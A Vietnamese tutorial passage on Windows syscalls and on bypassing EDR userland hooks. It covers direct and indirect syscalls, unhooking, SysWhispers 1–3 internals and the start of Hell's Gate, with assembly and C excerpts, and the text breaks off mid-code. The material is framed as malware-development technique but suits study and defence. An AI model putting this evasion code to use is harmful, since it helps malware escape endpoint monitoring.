Introduction
What Are Syscalls?
Windows system call hay syscall là một interface để các chương trình có thể tương tác với hệ điều hành. Cụ thể hơn, nó cho phép các chương trình có thể yêu cầu hệ điều hành thực hiện những chức năng low-level chẳng hạn như tạo file, tạo tiến trình hoặc cấp phát vùng nhớ.
Syscalls chính là các hàm thực hiện những chức năng của Windows APIs ở trong Windows kernel. Ví dụ, syscall NtAllocateVirtualMemory
sẽ được gọi khi hàm VirtualAlloc
hoặc hàm VirtualAllocEx
được gọi. Khi được gọi, nó sẽ sao chép các đối số của người dùng truyền vào Window API đến kernel, thực thi chức năng được yêu cầu bởi Windows API rồi trả về kết quả cho chương trình.
Tất cả các syscall đều trả về một giá trị thuộc kiểu NTSTATUS
cho biết mã lỗi. Trong trường hợp không có lỗi, giá trị của NTSTATUS
là STATUS_SUCCESS
(0
).
Đa số các syscall được export từ ntdll.dll
và không được mô tả cụ thể bởi Windows nên ta sẽ dùng thêm các tài liệu sau:
Why Use Syscall?
Việc sử dụng syscall cho phép truy cập trực tiếp vào các chức năng low-level của hệ điều hành, giúp thực thi các hành động mà Windows API không hỗ trợ hoặc quá phức tạp để thực hiện bởi Windows API. Ví dụ, syscall NtCreateUserProcess
cung cấp nhiều tùy chọn khác khi tạo tiến trình mà CreateProcess
không có.
Ngoài ra, syscall còn có thể được dùng để bypass các EDR.
Nt Vs Zw Syscalls
Có hai loại syscall:
Nt
syscall là interface chính cho các chương trình chạy ở user-mode và được sử dụng bởi đa số các chương trình trong Windows.Zw
syscall là kernel-mode interface cho các chương trình chạy ở kernel-mode chẳng hạn như các driver mà cần truy cập trực tiếp vào các chức năng của máy tính.
Ta có thể sử dụng cả 2 loại syscall này ở trong các chương trình chạy ở user-mode và cho ra cùng một kết quả.
Ngoài ra, địa chỉ của 2 syscall cùng chức năng nhưng khác loại cũng giống nhau:
Info
Để đơn giản hóa, ta chỉ sử dụng các
Nt
syscall.
Syscall Service Number
Mỗi syscall có một con số được gọi là Syscall Service Number (SSN). Chúng được sử dụng bởi kernel để phân biệt các syscall với nhau.
Differing SSNs By OS
SSN của các syscall sẽ khác nhau đối với các major version (chẳng hạn 10 với 11) và minor version (chẳng hạn 11 21h2 với 11 22h2) của hệ điều hành. Ví dụ NtAllocateVirtualMemory
có thể có SSN là 24 ở một version của Windows nhưng lại có SSN là 34 ở một version khác của Windows.
Syscalls In Memory
Trong vùng nhớ, các syscall sẽ được sắp xếp nằm cạnh nhau theo thứ tự tăng dần của SSN và thứ tự này là cố định đối với từng phiên bản của hệ điều hành:
Có thể thấy trong hình trên: SSN chính là toán hạng thứ hai của các chỉ thị mov
được khoanh đỏ và giá trị này được sắp xếp tăng dần.
Syscall Structure
Ngoài ra, ta thấy rằng cấu trúc của syscall có dạng tổng quát như sau:
mov r10, rcx
mov eax, SSN
syscall
Với:
- Dòng đầu tiên sẽ sao chép đối số của syscall ở trong thanh ghi
rcx
vào thanh ghir10
. Một cách tổng quát, dòng này là để thiết lập các đối số của syscall ở trên stack. - Dòng thứ hai sẽ sao chép SSN vào thanh ghi
eax
. - Dòng cuối là để chuyển giao việc thực thi từ user-mode thành kernel-mode bằng cách dùng chỉ thị
syscall
.
Ví dụ, hàm NtAllocateVirtualMemoryEx
ở trong kiến trúc 64-bit:
Hàm NtCreateProcess
ở trong kiến trúc 64-bit:
Chỉ thị test
và jne
được dùng cho WOW64, là một hệ thống giúp chạy các chương trình 32-bit ở trên máy tính 64-bit. Các chỉ thị này sẽ không ảnh hưởng đến tiến trình nếu nó là một tiến trình 64-bit.
Not All Native APIs Are Syscalls
Cần chú ý rằng một số hàm của Native API trả về NTSTATUS
nhưng không phải là syscall do không có cấu trúc của một syscall chẳng hạn như hàm LdrLoadDll
dưới đây:
Thay vào đó, các Native API này là phiên bản low-level của các Windows API tương ứng. Một vài ví dụ khác:
SystemFunction032
vàSystemFunction033
- cũng là các Native API và đã được giới thiệu ở RC4.RtlCreateProcessParametersEx
- được sử dụng bởiCreateProcess
thuộc WinAPI để tạo các đối số của một tiến trình.
Privilege Mode Switching
Khi thực thi syscall
(hay sysenter
đối với kiến trúc 32-bit), CPU được chuyển từ user-mode sang kernel-mode để kernel có thể thực thi. Kernel sau đó sẽ thực thi chức năng được yêu cầu bởi syscall và trả lại kết quả cho chương trình ở user-mode.
Hình ảnh bên dưới minh họa cho program flow (call stack) của tiến trình notepad.exe
khi chúng ta thực hiện lưu file:
Có thể thấy, hàm WriteFile
của Windows API sẽ gọi đến NtWriteFile
của ntdll.dll
thuộc Native API. Hàm NtWriteFile
này sẽ có nhiệm vụ thiết lập các đối số ở trên stack và sao chép SSN vào thanh ghi eax
rồi gọi syscall
như đã đề cập ở trên.
Sau khi gọi syscall
và CPU chuyển sang kernel-mode, kernel sẽ sử dụng dispatch table (SSDT) để tìm đến hàm tương ứng với SSN, sao chép các đối số từ user-mode stack vào kernel-mode rồi thực thi hàm kernel của API (trong trường hợp này là ZwWriteFile
).
Khi hàm kernel hoàn thành, nó cũng sẽ có program flow tương tự như khi chuyển từ user-mode sang kernel mode kèm theo các giá trị trả về chẳng hạn như handle đến file.
Seealso
Userland Hooking
Các giải pháp EDR thường xuyên thực hiện API Hooking trên các syscall nhằm giám sát và phân tích các chương trình trong lúc chạy.
Ví dụ, bằng cách hook vào syscall NtProtectVirtualMemory
, EDR có thể phát hiện các lời gọi hàm high-level chẳng hạn như VirtualProtect
kể cả khi hàm này bị không xuất hiện ở trong IAT.
Ta gọi đây là userland hooking do EDR chỉ hook vào interface của syscall ở trong ntdll.dll
.
Trong khi đó, để thực hiện kernel hooking thì cần phải hook vào phần hiện thực của syscall ở trong kernel (hàm có tên bắt đầu bằng Zw
) sau khi CPU được chuyển đổi từ user-mode sang kernel-mode. Tuy nhiên, Windows Patch Guard và các giải pháp bảo mật khác sẽ khiến cho việc thực hiện kernel hooking gần như là không thể. Ngoài ra, việc hook vào kernel có thể khiến cho chương trình bất ổn định và gây ra các hành vi không mong muốn.
EDR Hooking Demo
Trong hình minh họa bên dưới, chúng ta đã inject một DLL vào tiến trình ApcInjection.exe
(thực thi shellcode bằng kỹ thuật APC Injection) nhằm hook vào syscall NtProtectVirtualMemory
sử dụng thư viện Minhook1. Bất cứ khi nào có lời gọi đến syscall này, DLL sẽ in ra giá trị vùng nhớ nếu nó có chế độ bảo vệ là RX
hay RWX
. Đặc biệt, nếu chế độ bảo vệ là RWX
thì DLL sẽ ngắt tiến trình.
Khi debug, ta thấy rằng mã máy của syscall sau khi bị hook có một chỉ thị jmp
ở đầu cho biết rằng luồng thực thi sẽ được chuyển đến cho detour function:
Lần theo địa chỉ này thì ta sẽ đi đến detour function có tên là Hooked_NtProtectVirtualMemory
:
Mã nguồn của Hooked_NtProtectVirtualMemory
:
NTSTATUS WINAPI Hooked_NtProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PULONG NumberOfBytesToProtect,
ULONG NewAccessProtection,
PULONG OldAccessProtection
){
PRINT("[#] NtProtectVirtualMemory At [ 0x%p ] Of Size [ %d ] \n", (PVOID)*BaseAddress, (unsigned int)*NumberOfBytesToProtect);
// if PAGE_EXECUTE_READWRITE = dump memory + terminate
if ((NewAccessProtection & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) {
PRINT("\t\t\t<<<!>>> [DETECTED] PAGE_EXECUTE_READWRITE [DETECTED] <<<!>>> \n");
BlockExecution((PBYTE)*BaseAddress, (SIZE_T)*NumberOfBytesToProtect, TRUE);
}
// if PAGE_EXECUTE_READWRITE = dump memory + continue
if ((NewAccessProtection & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ) {
PRINT("\t\t\t<<<!>>> [DETECTED] PAGE_EXECUTE_READ [DETECTED] <<<!>>> \n");
BlockExecution((PBYTE)*BaseAddress, (SIZE_T)*NumberOfBytesToProtect, FALSE);
}
// return the expected output
return g_NtProtectVirtualMemory(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection);
}
Với BlockExecution
là hàm giúp in ra giá trị vùng nhớ hoặc ngắt tiến trình:
VOID BlockExecution(PBYTE pAddress, SIZE_T sSize, BOOL Terminate) {
PRINT("\n\t------------------------------------[ MEMORY DUMP ]------------------------------------\n\n");
for (int i = 0; i < sSize; i++) {
if (i % 16 == 0) {
PRINT("\n\t\t");
}
PRINT(" %02X", pAddress[i]);
}
PRINT("\n\n\t------------------------------------[ MEMORY DUMP ]------------------------------------\n\n");
if (Terminate){
/*
LONG MinHookErr = MH_OK;
if ((MinHookErr = MH_RemoveHook(pNtProtectVirtualMemory)) != MH_OK) {
ReportError("MH_RemoveHook", MinHookErr);
}
*/
MessageBoxA(NULL, "Terminating The Process ... ", "Maldev Edr", MB_OKCANCEL | MB_ICONERROR);
ExitProcess(1);
}
}
Có thể thấy, việc hook vào syscall có sức mạnh rất to lớn trong việc giám sát chương trình khi nó đang chạy. Trong thực tế, các EDR thường hook vào một loạt các syscall để phát hiện các hành vi độc hại.
Bypassing Userland Syscall Hooks
Để bypass userland syscall hooking, ta có thể sử dụng các kỹ thuật sau:
- Direct syscall
- Undirect syscall
- Unhooking
Direct Syscalls
Kỹ thuật này hoạt động bằng cách tạo ra một phiên bản hợp ngữ khác của syscall và sử dụng nó thay vì sử dụng syscall ở trong ntdll.dll
. Ví dụ:
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtAllocateVirtualMemory)
syscall
ret
NtAllocateVirtualMemory ENDP
Trong ví dụ trên, thay vì gọi syscall NtAllocateVirtualMemory
ở trong ntdll.dll
mà đã bị hook bởi các EDR, chúng ta sẽ sử dụng syscall riêng của chúng ta mà không bị hook nhưng vẫn có chức năng tương tự.
Vấn đề của kỹ thuật này nằm ở việc xác định SSN của syscall cần gọi do giá trị này thay đổi giữa các phiên bản của hệ điều hành. Để giải quyết vấn đề này, ta có thể gán cứng giá trị SSN ở trong đoạn code hợp ngữ hoặc tính toán trong lúc chạy.
Indirect Syscalls
Kỹ thuật này được triển khai tương tự như direct syscall nhưng thay vì gọi sử dụng một chỉ thị syscall
ở bên ngoài ntdll.dll
thì chúng ta sẽ sử dụng một chỉ thị jmp
đến chỉ thị syscall
ở trong ntdll.dll
.
Hàm hợp ngữ minh họa:
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtAllocateVirtualMemory)
jmp (address of a syscall instruction)
ret
NtAllocateVirtualMemory ENDP
Lợi ích của indirect syscall là giúp ta tránh được việc sử dụng các chỉ thị syscall
ở bên ngoài không gian địa chỉ của ntdll.dll
, vốn được xem là một hành vi đáng ngờ.
Unhooking
Hoạt động bằng cách thay thế ntdll.dll
đã bị hook ở trong memory bằng phiên bản chưa được hook. Phiên bản này có thể có được từ nhiều nguồn nhưng cách tiếp cận phổ biến nhất vẫn là nạp lên từ đĩa.
Bằng cách này, chúng ta có thể loại bỏ các hook được cài đặt ở trong ntdll.dll
.
SysWhispers
Là công cụ dùng để bypass userland hooking bằng cách sử dụng kỹ thuật Direct Syscalls.
How it Works?
SysWhispers tạo ra các custom direct syscall được viết bằng hợp ngữ mà ta có thể sử dụng. SSN của các syscall (lấy từ Windows X86-64 System Call Table (XP/2003/Vista/7/8/10/2022/11)) được gán cứng cho tất cả các phiên bản của Windows mà SysWhispers hỗ trợ và sẽ được xác định trong lúc chạy.
SysWhispers hỗ trợ các syscall từ Windows XP đến Windows 10 19042 (20H2).
NtMapViewOfSection
Example
SysWhispers sử dụng một Python script để tạo ra 2 file:
syscalls.asm
: chứa các hàm hợp ngữ của các syscall mà có khả năng xác định SSN dựa trên OS của máy trong lúc chạy.syscalls.h
: chứa các hằng số, macro và các function signature của các syscall.
Ví dụ, hàm hợp ngữ của NtMapViewOfSection
có thể có dạng như sau:
NtMapViewOfSection PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtMapViewOfSection_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 5
je NtMapViewOfSection_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtMapViewOfSection_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtMapViewOfSection_Check_10_0_XXXX
jmp NtMapViewOfSection_SystemCall_Unknown
; ...
NtMapViewOfSection_Check_10_0_XXXX: ; Check build number for Windows 10.
cmp dword ptr [rax+120h], 10240
je NtMapViewOfSection_SystemCall_10_0_10240
cmp dword ptr [rax+120h], 10586
je NtMapViewOfSection_SystemCall_10_0_10586
cmp dword ptr [rax+120h], 14393
je NtMapViewOfSection_SystemCall_10_0_14393
cmp dword ptr [rax+120h], 15063
je NtMapViewOfSection_SystemCall_10_0_15063
cmp dword ptr [rax+120h], 16299
je NtMapViewOfSection_SystemCall_10_0_16299
cmp dword ptr [rax+120h], 17134
je NtMapViewOfSection_SystemCall_10_0_17134
cmp dword ptr [rax+120h], 17763
je NtMapViewOfSection_SystemCall_10_0_17763
cmp dword ptr [rax+120h], 18362
je NtMapViewOfSection_SystemCall_10_0_18362
cmp dword ptr [rax+120h], 18363
je NtMapViewOfSection_SystemCall_10_0_18363
jmp NtMapViewOfSection_SystemCall_Unknown
; ...
NtMapViewOfSection_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909)
mov eax, 0028h
jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtMapViewOfSection_Epilogue:
mov r10, rcx
syscall
ret
NtMapViewOfSection ENDP
Giải thích hàm NtMapViewOfSection
ở trên:
- Chỉ thị
mov rax, gs:[60h]
được dùng để sao chép thông tin về PEB từ thanh ghiGS
vào thanh ghiRAX
2. - Sau đó, hàm
NtMapViewOfSection_Check_X_X_XXXX
sẽ xác định major version của hệ điều hành ở trên máy. Có thể thấy, hàm này thực hiện so sánh major version trong PEB được lưu tại[rax+118h]
(OSMajorVersion
) với5
,6
và10
. Nếu match, nó sẽ nhảy đến hàm hợp ngữ tương ứng dùng để xác định minor version chẳng hạn nhưNtMapViewOfSection_Check_10_0_XXXX
. - Bên trong hàm
NtMapViewOfSection_Check_10_0_XXXX
cũng là các chỉ thịcmp
giúp so sánh minor version trong PEB được lưu tại[rax+120h]
(OSMinorVersion
) với một số minor version cụ thể. Khi match, nó sẽ nhảy đến hàm giúp lưu SSN của phiên bản OS tương ứng vào thanh ghieax
. - Cuối cùng,
NtMapViewOfSection_Epilogue
sẽ giúp thực thi syscall.
SysWhispers2
Điểm khác biệt giữa SysWhipers2 với SysWhisper là nó không yêu cầu người dùng chỉ định phiên bản hệ điều hành khi sử dụng (chẳng hạn như 7
, 8
, 10
hoặc tất cả) và không gán cứng SSN cho các phiên bản được chỉ định rồi xác định trong lúc chạy.
Lý do là vì nó không còn sử dụng Windows X86-64 System Call Table nữa mà sử dụng một kỹ thuật có tên là Sorting By System Call Address nhằm xác định SSN của syscall. Điều này giúp chúng ta loại bỏ được các hàm hợp ngữ nặng nề.
Sorting By System Call Address
Kỹ thuật này hoạt động bằng cách tìm tất cả các syscall bắt đầu với chuỗi Zw
rồi lưu địa chỉ của chúng trong một mảng và sắp xếp các phần tử dựa trên địa chỉ theo thứ tự tăng dần. SSN của các syscall sẽ là index của nó ở trong mảng.
Implementation
Kỹ thuật Sorting By System Call Address được thực hiện bởi hàm SW2_PopulateSyscallList
ở trong file Syscalls.c
được sinh ra bởi SysWhispers2.
Đầu tiên, hàm này thực hiện lặp qua tất cả các DLL được nạp vào tiến trình để tìm ntdll.dll
3:
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}
#ifdef RANDSYSCALL
#ifdef _WIN64
ntdllBase = (uint64_t)DllBase;
#else
ntdllBase = (uint64_t)DllBase;
#endif
#endif
Có thể thấy, đoạn code trên thực hiện so sánh DllName
với chuỗi ntdll.dll
mà bị đảo ngược và xẻ làm đôi để né tránh signature-based detection.
Ngoài ra, hàm SW2_RVA2VA
là hàm dùng để chuyển địa chỉ tương đối (offset hay RVA) sang địa chỉ tuyệt đối.
Sau khi có được địa chỉ cơ sở của ntdll.dll
thông qua việc enum các DLL, SW2_PopulateSyscallList
sẽ tiến hành tìm các hàm được export ra từ ntdll.dll
mà có tên bắt đầu bằng Zw
rồi lưu giá trị hash (phục vụ cho việc tìm kiếm mà không để lại signature) và địa chỉ (phục vụ cho việc sắp xếp) của chúng.
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
Định nghĩa kiểu dữ liệu PSW2_SYSCALL_ENTRY
của mảng Entries
:
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
Còn đây là kiểu dữ liệu của SW2_SyscallList
:
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
Cuối cùng, SW2_PopulateSyscallList
sẽ sắp xếp các phần tử trong mảng Entries
theo thứ tự tăng dần của địa chỉ sử dụng thuật toán bubble sort:
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
Để tìm SSN của một syscall, chúng ta cần tìm thông qua giá trị hash của nó sử dụng hàm bên dưới:
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
Cụ thể hơn, SSN của syscall chính là index của nó ở trong mảng Entries
sau khi đã được sắp xếp.
Sample Output
Hàm hợp ngữ được sinh ra bởi SysWhispers2:
.data
currentHash DWORD 0
.code
EXTERN SW2_GetSyscallNumber: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Issue syscall
ret
WhisperMain ENDP
NtMapViewOfSection PROC
mov currentHash, 060C9AE95h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtMapViewOfSection ENDP
end
Với:
060C9AE95h
là giá trị hash của chuỗiZwMapViewOfSection
.- Hàm
NtMapViewOfSection
sẽ thực hiện:- Nạp giá trị hash vào biến toàn cục
currentHash
. - Gọi
WhisperMain
để thực thi syscall.
- Nạp giá trị hash vào biến toàn cục
- Hàm
WhisperMain
sẽ thực hiện:- Lưu giá trị của các thanh ghi vào stack sử dụng các chỉ thị
mov [rsp+XX], XXX
do việc gọi hàmSW2_GetSyscallNumber
sẽ làm thay đổi giá trị của các thanh ghi này. - Gọi
SW2_GetSyscallNumber
ở trên để chuyển giá trị hash thành SSN. - Khôi phục giá trị của các thanh ghi sử dụng các chỉ thị
mov XXX, [rsp+ XX]
. - Thực thi syscall.
- Lưu giá trị của các thanh ghi vào stack sử dụng các chỉ thị
Note
Hàm
SW2_GetSyscallNumber
sẽ trả về giá trị ở trong thanh ghieax
và do đó mà ta không cần sao chép SSN vàoeax
nữa.
SysWhispers3
SysWhisper3 khác với hai phiên bản trước ở chỗ nó tạo ra các custom indirect syscall sử dụng kỹ thuật Indirect Syscalls. Cụ thể hơn, các syscall này sẽ sử dụng chỉ thị syscall
ở trong không gian địa chỉ của ntdll.dll
để làm giảm sự đáng ngờ của malware.
Hơn thế nữa, SysWhisper3 có tùy chọn jumper_randomized
cho phép thực hiện việc nhảy đến chỉ thị syscall
của một hàm ngẫu nhiên ở trong không gian địa chỉ của ntdll.dll
. Ví dụ, khi gọi syscall NtAllocateVirtualMemory
với option này, chỉ thị syscall
được sử dụng có thể là của syscall NtTestAlert
chứ không phải là của NtAllocateVirtualMemory
.
Ngoài ra, tương tự với SysWhispers2, SysWhispers3 cũng sử dụng kỹ thuật Sorting By System Call Address để tìm và xác định SSN trong khi chạy.
Ví dụ, hàm hợp ngữ của syscall NtMapViewOfSection
khi được tạo ra bởi SysWhispers3:
.code
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetRandomSyscallAddress: PROC
NtMapViewOfSection PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 01A80161Bh ; Load function hash into ECX.
call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api.
mov r15, rax ; Save the address of the syscall {since SW3_GetRandomSyscallAddress will return the address of the 'syscall' instruction in rax register}
mov ecx, 01A80161Bh ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. {Now, eax has the SSN}
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r15 ; Jump to -> Invoke system call. {r15 is the address of a random 'syscall' instruction in ntdll.dll}
NtMapViewOfSection ENDP
end
Hàm SW3_GetSyscallNumber
tương tự với hàm SW2_GetSyscallNumber
của SysWhispers2 do chúng đều được dùng để chuyển giá trị hash của syscall thành SSN tương ứng.
Trong khi đó, hàm SW3_GetRandomSyscallAddress
được dùng để tìm địa chỉ của một chỉ thị syscall
ngẫu nhiên ở trong không gian địa chỉ của ntdll.dll
:
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
Có thể thấy, hàm này thực hiện tìm kiếm trong mảng Entries
đến khi tìm ra được một syscall khác với syscall được chỉ định (thông qua tham số FunctionHash
). Khi đó, nó sẽ lưu lại SSN của syscall và trả về địa chỉ của chỉ thị syscall
tương ứng với SSN đã lưu.
Với kiểu dữ liệu PSW3_SYSCALL_ENTRY
của Entries
được định nghĩa như sau:
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
Để có được địa chỉ của chỉ thị syscall
và lưu vào thuộc tính SyscallAddress
, SysWhispers3 gọi hàm SC_Address
ở trong hàm SW3_PopulateSyscallList
:
do
{
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW3_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
i++;
if (i == SW3_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
Cụ thể hơn, hàm SC_Address
sẽ tìm kiếm chuỗi byte 0x0f
, 0x05
, 0xc3
(đối với 64-bit) hoặc chuỗi byte 0x0f
, 0x34
, 0xc3
(đối với 32-bit) tính từ địa chỉ của syscall.
Hell’s Gate
Hell’s Gate là một cách tiếp cận khác của kỹ thuật Direct Syscalls: nó không gán cứng các SSN hay sử dụng Sorting By System Call Address để xác định SSN trong khi chạy mà thay vào đó là thực hiện tìm kiếm syscall ở trong ntdll.dll
rồi thực thi, kể cả khi syscall bị hook.
Paper của Hell’s Gate: HellsGate.pdf.
Khác với SysWhispers, Hell’s Gate không phải là một công cụ và nó không tạo ra các file có chứa các custom syscall. Thay vào đó, ta chỉ tái sử dụng lại những đoạn code có sẵn của nó ở trong malware của chúng ta nhằm triển khai kỹ thuật đã nêu.
Syscall Structure
Chúng ta sẽ sử dụng cấu trúc sau để thể hiện một syscall:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress; // The address of a syscall function
DWORD64 dwHash; // The hash value of the syscall name
WORD wSystemCall; // The SSN of the syscall
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
Syscalls Table
Ta cũng cần định nghĩa cấu trúc như sau để khai báo các syscall entry mà ta muốn sử dụng ở trong malware:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Ta gọi cấu trúc trên là syscall table.
Main Function
Hàm main
của Hell’s Gate trước tiên truy xuất TEB thông qua hàm RtlGetThreadEnvironmentBlock
rồi truy xuất PEB.
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
Sau đó, nó sẽ lấy base address của ntdll.dll
thông qua danh sách các DLL của PEB (InMemoryOrderModuleList
):
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
Có thể thấy, do ntdll.dll
luôn là DLL đầu tiên được nạp vào tiến trình nên ta có thể truy xuất địa chỉ cơ sở của nó (thành phần Reserved2[0]
đối với định nghĩa của Microsoft hay InInitializationOrderLinks.Flink
đối với định nghĩa của Nirsoft4) bằng một offset cố định.
Kế đến, Hell’s Gate thực hiện truy xuất EAT (Export Address Table) của ntdll.dll
sử dụng hàm GetImageExportDirectory
để có được danh sách các hàm mà DLL này export:
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
